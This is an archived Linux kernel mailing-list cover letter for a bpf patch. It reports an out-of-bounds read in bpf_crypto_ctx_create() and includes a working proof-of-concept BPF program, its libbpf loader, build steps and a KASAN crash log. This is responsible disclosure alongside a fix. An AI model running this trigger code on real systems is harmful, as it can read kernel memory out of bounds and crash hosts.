All of lore.kernel.org
 help / color / mirror / Atom feed
From: Yuqi Xu <xuyuqiabc@gmail.com>
To: bpf@vger.kernel.org
Cc: Vadim Fedorenko <vadim.fedorenko@linux.dev>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Martin KaFai Lau <martin.lau@linux.dev>,
	Song Liu <song@kernel.org>,
	Yonghong Song <yonghong.song@linux.dev>,
	Jiri Olsa <jolsa@kernel.org>,
	Emil Tsalapatis <emil@etsalapatis.com>,
	Ihor Solodrai <ihor.solodrai@linux.dev>,
	stable@vger.kernel.org, Vega <vega@nebusec.ai>,
	Ren Wei <weir@nebusec.ai>,
	xuyq21@lenovo.com
Subject: [PATCH bpf 0/1] bpf: crypto: check params size before reading reserved fields
Date: Sat, 19 Sep 2026 16:45:01 +0800	[thread overview]
Message-ID: <cover.1789802413.git.xuyuqiabc@gmail.com> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in kernel/bpf/crypto.c.  The reproducer
below runs as root because loading a BPF_PROG_TYPE_SYSCALL program is
gated by bpf_capable(), so a user namespace is not sufficient.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

bpf_crypto_ctx_create() takes params with the kfunc __sz annotation, so
the verifier only guarantees that params__sz bytes of the buffer are
valid.  The function first reads params->reserved[0] and
params->reserved[1] (offsets 14 and 15) and only then compares
params__sz with sizeof(struct bpf_crypto_params).  A BPF program can
therefore pass a shorter buffer and make the kernel read past the
validated region.

The PoC uses a BPF_PROG_TYPE_SYSCALL program with a 1-byte hash map
value and passes params__sz = 1.  The map is created with
BPF_F_NO_PREALLOC so that each element is a separate kmalloc object and
KASAN can see the overrun; with the default preallocated hash map the
elements share one large allocation and the same read lands in adjacent
memory without a report.

The patch moves the size comparison in front of the reserved field
reads, so the out-of-bounds read cannot happen anymore.  Valid
parameters behave exactly as before: with the patch applied, a program
that passes a full-size valid struct still creates a crypto context.

Reproducer:

The kernel must be built with CONFIG_BPF_SYSCALL, CONFIG_BPF_JIT,
CONFIG_DEBUG_INFO_BTF, CONFIG_CRYPTO_SKCIPHER2 and CONFIG_KASAN, and
booted with panic_on_warn=1.

  clang -target bpf -O2 -g -D__TARGET_ARCH_x86 -c poc.bpf.c -o poc.bpf.o
  # build libbpf from tools/lib/bpf, then link the userspace part:
  gcc -O2 -o poc poc.c -lbpf -lelf -lz -lzstd
  ./poc

We run the PoC in a 4 vCPU, 6 GB RAM x86 QEMU/KVM environment as root
(CAP_BPF in the initial user namespace).

------BEGIN poc.bpf.c------

#include <linux/types.h>
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>

struct bpf_crypto_ctx {};

struct bpf_crypto_params {
	char type[14];
	__u8 reserved[2];
	char algo[128];
	__u8 key[256];
	__u32 key_len;
	__u32 authsize;
};

struct {
	__uint(type, BPF_MAP_TYPE_HASH);
	__uint(max_entries, 1);
	__uint(map_flags, BPF_F_NO_PREALLOC);
	__type(key, __u32);
	__type(value, __u8);
} tiny_map SEC(".maps");

struct bpf_crypto_ctx *bpf_crypto_ctx_create(const struct bpf_crypto_params *params,
					     __u32 params__sz, int *err) __ksym;
void bpf_crypto_ctx_release(struct bpf_crypto_ctx *ctx) __ksym;

SEC("syscall")
int trigger(void *ctx)
{
	__u32 key = 0;
	__u8 *params;
	int err = 0;
	struct bpf_crypto_ctx *cctx;

	params = bpf_map_lookup_elem(&tiny_map, &key);
	if (!params)
		return 1;

	cctx = bpf_crypto_ctx_create((const struct bpf_crypto_params *)params, 1, &err);
	if (cctx)
		bpf_crypto_ctx_release(cctx);
	return err;
}

char _license[] SEC("license") = "GPL";

------END poc.bpf.c--------

------BEGIN poc.c------

#include <errno.h>
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/resource.h>
#include <bpf/libbpf.h>
#include <bpf/bpf.h>

static int libbpf_print_fn(enum libbpf_print_level level, const char *fmt, va_list args)
{
	if (level == LIBBPF_DEBUG)
		return 0;
	return vfprintf(stderr, fmt, args);
}

int main(void)
{
	char log_buf[1 << 20] = {};
	struct bpf_object_open_opts open_opts = {
		.sz = sizeof(open_opts),
		.kernel_log_buf = log_buf,
		.kernel_log_size = sizeof(log_buf),
		.kernel_log_level = 1,
	};
	struct rlimit rlim = {
		.rlim_cur = RLIM_INFINITY,
		.rlim_max = RLIM_INFINITY,
	};
	struct bpf_object *obj = NULL;
	struct bpf_map *map;
	struct bpf_program *prog;
	struct bpf_test_run_opts opts;
	__u32 key = 0;
	__u8 value = 0;
	int prog_fd;
	int map_fd;
	int err;

	libbpf_set_print(libbpf_print_fn);
	setrlimit(RLIMIT_MEMLOCK, &rlim);

	obj = bpf_object__open_file("./poc.bpf.o", &open_opts);
	if (!obj) {
		fprintf(stderr, "open failed\n");
		return 1;
	}

	bpf_object__for_each_program(prog, obj)
		bpf_program__set_log_level(prog, 2);

	err = bpf_object__load(obj);
	if (err) {
		fprintf(stderr, "load failed: %d (%s)\n", err, strerror(-err));
		if (log_buf[0])
			fprintf(stderr, "%s\n", log_buf);
		goto out;
	}

	map = bpf_object__find_map_by_name(obj, "tiny_map");
	if (!map) {
		err = -ENOENT;
		fprintf(stderr, "map not found\n");
		goto out;
	}

	map_fd = bpf_map__fd(map);
	err = bpf_map_update_elem(map_fd, &key, &value, BPF_ANY);
	if (err) {
		err = -errno;
		fprintf(stderr, "map update failed: %d (%s)\n", err, strerror(errno));
		goto out;
	}

	prog = bpf_object__find_program_by_name(obj, "trigger");
	if (!prog) {
		err = -ENOENT;
		fprintf(stderr, "program not found\n");
		goto out;
	}

	prog_fd = bpf_program__fd(prog);
	memset(&opts, 0, sizeof(opts));
	opts.sz = sizeof(opts);
	err = bpf_prog_test_run_opts(prog_fd, &opts);
	if (err) {
		err = -errno;
		fprintf(stderr, "test run failed: %d (%s)\n", err, strerror(errno));
		goto out;
	}

	fprintf(stderr, "test run ok, retval=%u\n", opts.retval);
	err = 0;
out:
	bpf_object__close(obj);
	return err ? 1 : 0;
}

------END poc.c--------

-----BEGIN crash log----

[    1.544932] ==================================================================
[    1.544942] BUG: KASAN: slab-out-of-bounds in bpf_crypto_ctx_create+0x811/0xaf0
[    1.544950] Read of size 1 at addr ffff888102fbee4e by task poc.static/92
[    1.544954] 
[    1.544958] CPU: 1 UID: 0 PID: 92 Comm: poc.static Not tainted 7.3.0-rc2-00040-gb4e875d397da #1 PREEMPT(lazy) 
[    1.544962] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-10.fc44 06/10/2025
[    1.544965] Call Trace:
[    1.544968]  <TASK>
[    1.544970]  dump_stack_lvl+0x4d/0x70
[    1.544977]  print_report+0x14b/0x4b0
[    1.544983]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[    1.544990]  kasan_report+0xfa/0x120
[    1.544995]  ? bpf_crypto_ctx_create+0x811/0xaf0
[    1.544999]  ? bpf_crypto_ctx_create+0x811/0xaf0
[    1.545003]  bpf_crypto_ctx_create+0x811/0xaf0
[    1.545007]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545011]  bpf_prog_1a0a06253873ed44_trigger+0x60/0x78
[    1.545015]  bpf_prog_test_run_syscall+0x42e/0x9f0
[    1.545023]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545026]  ? __pfx_bpf_prog_test_run_syscall+0x10/0x10
[    1.545028]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545031]  ? __pfx_bpf_check_uarg_tail_zero+0x10/0x10
[    1.545036]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545040]  __sys_bpf+0x12c3/0x5280
[    1.545044]  ? __pfx___sys_bpf+0x10/0x10
[    1.545047]  ? stack_depot_save_flags+0x2d/0x970
[    1.545054]  ? stack_depot_save_flags+0x2d/0x970
[    1.545057]  ? task_work_run+0x12c/0x230
[    1.545062]  ? exit_to_user_mode_loop+0x135/0x520
[    1.545067]  ? do_syscall_64+0x34e/0x4b0
[    1.545073]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545076]  ? do_syscall_64+0x34e/0x4b0
[    1.545079]  ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    1.545082]  ? __pfx_do_vmi_align_munmap+0x10/0x10
[    1.545097]  __x64_sys_bpf+0xc4/0x180
[    1.545101]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545103]  ? fpregs_assert_state_consistent+0x56/0xe0
[    1.545108]  do_syscall_64+0xde/0x4b0
[    1.545111]  ? srso_alias_return_thunk+0x5/0xfbef5
[    1.545115]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    1.545118] RIP: 0033:0x53ff3d
[    1.545121] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48
[    1.545124] RSP: 002b:00007ffd3b599d38 EFLAGS: 00000246 ORIG_RAX: 0000000000000141
[    1.545129] RAX: ffffffffffffffda RBX: 00007ffd3b599e20 RCX: 000000000053ff3d
[    1.545131] RDX: 0000000000000050 RSI: 00007ffd3b599d40 RDI: 000000000000000a
[    1.545133] RBP: 000000003a91e940 R08: 0000000000000004 R09: 0000000000000005
[    1.545135] R10: 00007ffd3b599e20 R11: 0000000000000246 R12: 00007ffd3b599ed0
[    1.545137] R13: 00007ffd3b69a018 R14: 00000000005f6068 R15: 0000000000000001
[    1.545141]  </TASK>
[    1.545143] 
[    1.545144] Allocated by task 92:
[    1.545146]  kasan_save_stack+0x2f/0x50
[    1.545150]  kasan_save_track+0x14/0x30
[    1.545152]  __kasan_kmalloc+0x7f/0x90
[    1.545155]  __kmalloc_node_noprof+0x1de/0x4b0
[    1.545159]  alloc_bulk+0x242/0x3b0
[    1.545163]  bpf_mem_alloc_init+0x2a9/0x7e0
[    1.545165]  htab_map_alloc+0xcb8/0x1290
[    1.545169]  map_create+0x50d/0x1b30
[    1.545172]  __sys_bpf+0x1e3f/0x5280
[    1.545174]  __x64_sys_bpf+0xc4/0x180
[    1.545177]  do_syscall_64+0xde/0x4b0
[    1.545179]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    1.545182] 
[    1.545183] The buggy address belongs to the object at ffff888102fbee00
[    1.545183]  which belongs to the cache kmalloc-96 of size 96
[    1.545185] The buggy address is located 6 bytes to the right of
[    1.545185]  allocated 72-byte region [ffff888102fbee00, ffff888102fbee48)
[    1.545188] 
[    1.545189] The buggy address belongs to the physical page:
[    1.545191] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x102fbe
[    1.545194] flags: 0x200000000000000(node=0|zone=2)
[    1.545198] page_type: f5(slab)
[    1.545202] raw: 0200000000000000 ffff888100042280 dead000000000100 dead000000000122
[    1.545205] raw: 0000000000000000 0000000000200020 00000000f5000000 0000000000000000
[    1.545206] page dumped because: kasan: bad access detected
[    1.545209] 
[    1.545210] Memory state around the buggy address:
[    1.545212]  ffff888102fbed00: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545214]  ffff888102fbed80: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545215] >ffff888102fbee00: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545217]                                               ^
[    1.545218]  ffff888102fbee80: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545220]  ffff888102fbef00: 00 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc
[    1.545222] ==================================================================
[    1.545240] Kernel panic - not syncing: KASAN: panic_on_warn set ...

-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (1):
  bpf: crypto: check params size before reading reserved fields

 kernel/bpf/crypto.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)


base-commit: e3b6cb020e2f034a98068b2d11bcb3db9fff7e42
-- 
2.55.0


             reply	other threads:[~2026-09-19  8:45 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-09-19  8:45 Yuqi Xu [this message]
2026-09-19  8:45 ` [PATCH bpf 1/1] bpf: crypto: check params size before reading reserved fields Yuqi Xu
2026-09-19 18:17   ` Alexei Starovoitov
2026-09-20  7:24   ` Yuqi Xu
2026-09-19 23:30 ` [PATCH bpf 0/1] " patchwork-bot+netdevbpf

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1789802413.git.xuyuqiabc@gmail.com \
    --to=xuyuqiabc@gmail.com \
    --cc=andrii@kernel.org \
    --cc=ast@kernel.org \
    --cc=bpf@vger.kernel.org \
    --cc=daniel@iogearbox.net \
    --cc=eddyz87@gmail.com \
    --cc=emil@etsalapatis.com \
    --cc=ihor.solodrai@linux.dev \
    --cc=jolsa@kernel.org \
    --cc=martin.lau@linux.dev \
    --cc=memxor@gmail.com \
    --cc=song@kernel.org \
    --cc=stable@vger.kernel.org \
    --cc=vadim.fedorenko@linux.dev \
    --cc=vega@nebusec.ai \
    --cc=weir@nebusec.ai \
    --cc=xuyq21@lenovo.com \
    --cc=yonghong.song@linux.dev \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.